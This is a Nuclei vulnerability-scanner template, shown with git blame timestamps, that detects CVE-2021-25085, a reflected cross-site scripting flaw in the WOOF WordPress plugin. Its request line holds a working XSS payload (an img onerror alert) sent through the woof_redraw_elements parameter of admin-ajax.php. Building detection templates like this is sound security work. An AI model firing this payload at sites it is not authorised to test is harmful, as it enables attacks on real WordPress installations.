nuclei-templates/cves/2021/CVE-2021-25085.yaml

39 lines
1.1 KiB
YAML
Raw Normal View History

2022-06-15 18:18:49 +00:00
id: CVE-2021-25085
info:
name: WOOF WordPress plugin - Reflected Cross-Site Script
author: Maximus Decimus
severity: medium
2022-06-16 05:25:21 +00:00
description: |
The plugin does not sanitise and escape the woof_redraw_elements before outputing back in an admin page, leading to a Reflected Cross-Site Scripting.
reference:
2022-06-15 18:18:49 +00:00
- https://wpscan.com/vulnerability/b7dd81c6-6af1-4976-b928-421ca69bfa90
2022-06-16 05:25:21 +00:00
- https://plugins.trac.wordpress.org/changeset/2648751
- https://nvd.nist.gov/vuln/detail/CVE-2021-25085
2022-06-15 18:18:49 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-25085
2022-06-16 05:25:21 +00:00
tags: cve,cve2021,wordpress,wp-plugin,wp,xss
2022-06-15 18:18:49 +00:00
requests:
2022-06-16 05:25:21 +00:00
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=woof_draw_products&woof_redraw_elements[]=<img%20src=x%20onerror=alert(document.domain)>"
2022-06-15 18:18:49 +00:00
matchers-condition: and
matchers:
2022-06-16 05:25:21 +00:00
- type: word
part: body
words:
- '"additional_fields":["<img src=x onerror=alert(document.domain)>"]}'
- type: word
part: header
words:
- text/html
2022-06-15 18:18:49 +00:00
- type: status
status:
- 200